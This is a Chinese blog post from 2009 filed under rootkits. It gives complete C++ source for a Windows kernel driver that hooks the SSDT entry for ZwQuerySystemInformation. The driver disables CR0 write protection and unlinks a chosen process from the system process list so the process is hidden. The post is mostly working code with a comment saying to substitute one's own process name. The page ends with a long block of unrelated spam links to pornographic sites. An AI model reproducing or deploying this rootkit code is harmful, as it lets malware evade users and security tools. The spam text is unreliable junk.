• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT實現進程隱藏

            Posted on 2009-10-24 21:01 S.l.e!ep.¢% 閱讀(865) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            HOOK SSDT實現進程隱藏(代碼)

            1. #include "Driver.h"


            2. #pragma??pack(1)
            3. typedef struct _SSDT_TABLE
            4. {
            5. ??PVOID? ?ServiceTableBase;
            6. ??PULONG??ServiceCounterTableBase;
            7. ??ULONG? ?NumberOfService;
            8. ??ULONG? ?ParamTableBase;
            9. }SSDT_TABLE,* PSSDT_TABLE;
            10. #pragma pack()

            11. struct _SYSTEM_THREADS
            12. {
            13. ??LARGE_INTEGER? ?? ?? ???KernelTime;
            14. ??LARGE_INTEGER? ?? ?? ???UserTime;
            15. ??LARGE_INTEGER? ?? ?? ???CreateTime;
            16. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?WaitTime;
            17. ??PVOID? ?? ?? ?? ?? ?? ?? ?? ?? ?StartAddress;
            18. ??CLIENT_ID? ?? ?? ?? ?? ?? ?? ???ClientIs;
            19. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???Priority;
            20. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
            21. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ContextSwitchCount;
            22. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadState;
            23. ??KWAIT_REASON? ?? ?? ?? ?WaitReason;
            24. };

            25. //===================================================
            26. struct _SYSTEM_PROCESSES
            27. {
            28. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?NextEntryDelta;
            29. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadCount;
            30. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved[6];
            31. ??LARGE_INTEGER? ?? ?? ???CreateTime;
            32. ??LARGE_INTEGER? ?? ?? ???UserTime;
            33. ??LARGE_INTEGER? ?? ?? ???KernelTime;
            34. ??UNICODE_STRING? ?? ?? ? ProcessName;
            35. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
            36. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ProcessId;
            37. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?InheritedFromProcessId;
            38. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?HandleCount;
            39. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved2[2];
            40. ??VM_COUNTERS? ?? ?? ?? ?? ?? ?? ?VmCounters;
            41. ??IO_COUNTERS? ?? ?? ?? ?? ?? ?? ?IoCounters; //windows 2000 only
            42. ??struct _SYSTEM_THREADS? ?? ?? ? Threads[1];
            43. };

            44. struct _SYSTEM_PROCESSOR_TIMES
            45. {
            46. ? ?LARGE_INTEGER? ?? ?? ? IdleTime;
            47. ? ?LARGE_INTEGER? ?? ?? ? KernelTime;
            48. ? ?LARGE_INTEGER? ?? ?? ? UserTime;
            49. ? ?LARGE_INTEGER? ?? ?? ? DpcTime;
            50. ? ?LARGE_INTEGER? ?? ?? ? InterruptTime;
            51. ? ?ULONG? ?? ?? ?? ???InterruptCount;
            52. };


            53. //======================================================

            54. typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
            55. ? ?IN ULONG SystemInformationClass,
            56. ? ?IN PVOID SystemInformation,
            57. ? ?IN ULONG SystemInformationLength,
            58. ? ?OUT PULONG ReturnLength);



            59. NTSTATUS MyZwQuerySystemInformation(
            60. ? ?IN ULONG SystemInformationClass,
            61. ? ?IN PVOID SystemInformation,
            62. ? ?IN ULONG SystemInformationLength,
            63. ? ?OUT PULONG ReturnLength);



            64. //定義全局變量
            65. extern "C" extern PSSDT_TABLE??KeServiceDescriptorTable;
            66. ULONG??OldAddress;
            67. ZWQUERYSYSTEMINFORMATION? ?? ???OldZwQuerySystemInformation;
            68. PVOID Base;

            69. //函數申明
            70. VOID DisplayItsProcessName()

            71. {
            72. ? ? ? ? PEPROCESS Peprocess = PsGetCurrentProcess();
            73. ? ? ? ? PTSTR ProcessName = (PTSTR)((ULONG)Peprocess+0x174);
            74. ? ? ? ? KdPrint(("The Process :%s\n",ProcessName));
            75. }


            76. void UnHook();


            77. VOID Unload (IN PDRIVER_OBJECT pDriverObject)
            78. {

            79. ? ? ? ? KdPrint(("Enter DriverUnload\n"));
            80. ? ? ? ? UnHook();? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???// mark
            81. }


            82. NTSTATUS MyZwQuerySystemInformation(
            83. ? ???IN ULONG SystemInformationClass,
            84. ? ???IN PVOID SystemInformation,
            85. ? ???IN ULONG SystemInformationLength,
            86. ? ???OUT PULONG ReturnLength) //定義自己的Hook函數
            87. {
            88. ? ?NTSTATUS rc;

            89. ? ?UNICODE_STRING process_name;
            90. ? ?RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隱藏進程

            91. ? ?rc = (OldZwQuerySystemInformation) (
            92. ? ???SystemInformationClass,
            93. ? ???SystemInformation,
            94. ? ???SystemInformationLength,
            95. ? ???ReturnLength);
            96. ??
            97. ? ?if(NT_SUCCESS(rc))
            98. ? ?{
            99. ? ???if(5 == SystemInformationClass)
            100. ? ???{
            101. ? ?? ? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            102. ? ?? ? struct _SYSTEM_PROCESSES *prev = NULL;
            103. ? ?? ? if(curr->NextEntryDelta)
            104. ? ?? ? ? ? ? ???curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);

            105. ? ?? ? while(curr)
            106. ? ?? ? {
            107. ? ?? ???
            108. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))

            109. ? ?? ?? ?{
            110. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? KdPrint(("hide process'name taskmgr.exe"));


            111. ? ?? ?? ???if(prev)
            112. ? ?? ?? ???{
            113. ? ?? ?? ?? ? if(curr->NextEntryDelta)
            114. ? ?? ?? ?? ? {
            115. ? ?? ?? ?? ?? ?prev->NextEntryDelta += curr->NextEntryDelta;
            116. ? ?? ?? ?? ? }
            117. ? ?? ?? ?? ? else
            118. ? ?? ?? ?? ? {
            119. ? ?? ?? ?? ?? ?prev->NextEntryDelta = 0;
            120. ? ?? ?? ?? ? }
            121. ? ?? ?? ???}
            122. ? ?? ?? ???else
            123. ? ?? ?? ???{
            124. ? ?? ?? ?? ? if(curr->NextEntryDelta)
            125. ? ?? ?? ?? ? {
            126. ? ?? ?? ?? ?? ?SystemInformation =(PVOID)((ULONG)SystemInformation + curr->NextEntryDelta);
            127. ? ?? ?? ?? ? }
            128. ? ?? ?? ?? ? else
            129. ? ?? ?? ?? ? {
            130. ? ?? ?? ?? ?? ?SystemInformation = NULL;
            131. ? ?? ?? ?? ? }
            132. ? ?? ?? ???}

            133. ? ?? ?? ???if(curr->NextEntryDelta)
            134. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
            135. ? ?? ?? ???else
            136. ? ?? ?? ???{
            137. ? ?? ?? ?? ? curr = NULL;
            138. ? ?? ?? ?? ? break;
            139. ? ?? ?? ???}
            140. ? ?? ?? ?}

            141. ? ?? ?? ?if(curr != NULL)
            142. ? ?? ?? ?{
            143. ? ?? ?? ???prev = curr;
            144. ? ?? ?? ???if(curr->NextEntryDelta)
            145. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
            146. ? ?? ?? ???else curr = NULL;
            147. ? ?? ?? ?}

            148. ? ?? ? }
            149. ? ???}
            150. ? ?}
            151. KdPrint(("HookZwQuerySystemInformation is Succeessfully.... \n"));
            152. DisplayItsProcessName();

            153. return rc;

            154. }


            155. VOID Hook()
            156. {
            157. ? ? ? ? DbgPrint("Entry Hook()\n");
            158. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
            159. ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//的ID號是0xADh
            160. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
            161. ? ? ? ? //保存原來函數的地址
            162. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
            163. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
            164. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);

            165. ? ?//取消內存寫保護
            166. ??_asm
            167. ??{
            168. ? ? cli
            169. ? ?
            170. ? ?? ?mov??eax,cr0??
            171. ? ?? ?and??eax,not 10000h
            172. ? ?? ?mov??cr0,eax
            173. ? ?? ?
            174. ??}
            175. ??

            176. ? ? ? ?
            177. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
            178. ??
            179. ??//還原內存寫保護
            180. ??_asm
            181. ??{??
            182. ??
            183. ? ? mov??eax,cr0
            184. ? ?? ?or? ?eax,10000h
            185. ? ?? ?mov??cr0,eax
            186. ? ?? ?sti
            187. ??
            188. ??
            189. ??}
            190. }

            191. void UnHook()
            192. {
            193. ??ULONG??Address;
            194. ??
            195. ??Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
            196. ??
            197. ??__asm{
            198. ? ? cli
            199. ? ?? ?mov??eax,cr0
            200. ? ?? ?and??eax,not 10000h
            201. ? ?? ?mov??cr0,eax
            202. ??}
            203. ? ?
            204. ??*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
            205. ??
            206. ??__asm{??
            207. ? ? mov??eax,cr0
            208. ? ?? ?or? ?eax,10000h
            209. ? ?? ?mov??cr0,eax
            210. ? ?? ?sti
            211. ??}
            212. ??
            213. ??DbgPrint("Unhook leave!\n");
            214. ??
            215. }
            216. ??



            217. //========================驅動入口函數
            218. extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT??pDriverObject, IN PUNICODE_STRING??pRegistryPath)
            219. {
            220. ??DbgPrint("Entry Hook Function!\n");

            221. ? ? ? ? pDriverObject->DriverUnload = Unload;
            222. ? ? ? ?
            223. ? ? ? ? Hook();
            224. ??
            225. ??DbgPrint("Leave DriverEntry!\n");
            226. ??
            227. ? ? ? ? return STATUS_SUCCESS;
            228. ??
            229. }
            復制代碼
            XPSP3 WDK 順利通過~
            午夜精品久久久久久毛片| 久久精品无码一区二区三区| 久久久久亚洲国产| 日韩人妻无码精品久久免费一| 久久免费高清视频| 亚洲国产成人久久一区WWW| 久久精品国产久精国产果冻传媒| 久久午夜伦鲁片免费无码| 999久久久免费国产精品播放| 久久精品免费一区二区| 国产精品热久久无码av| 色婷婷综合久久久久中文| 色8激情欧美成人久久综合电| 99久久精品午夜一区二区| 欧美伊人久久大香线蕉综合69 | 国产精品视频久久久| 色综合久久88色综合天天 | 97久久超碰国产精品旧版| 日本亚洲色大成网站WWW久久| 青青青国产成人久久111网站| 中文字幕无码精品亚洲资源网久久 | 怡红院日本一道日本久久 | 热久久国产精品| 亚洲AV无码成人网站久久精品大| 久久精品国产色蜜蜜麻豆| 久久久久人妻一区精品色| 2021国产精品午夜久久| 久久久久综合中文字幕| 99久久精品免费看国产免费| 久久亚洲精品人成综合网| 久久久www免费人成精品| 久久五月精品中文字幕| 久久国产精品波多野结衣AV| 2021精品国产综合久久| 99久久er这里只有精品18| 欧洲成人午夜精品无码区久久| 久久久国产打桩机| 色偷偷偷久久伊人大杳蕉| 久久久久亚洲AV无码永不| 精品久久久久久无码中文字幕一区 | 久久国产影院|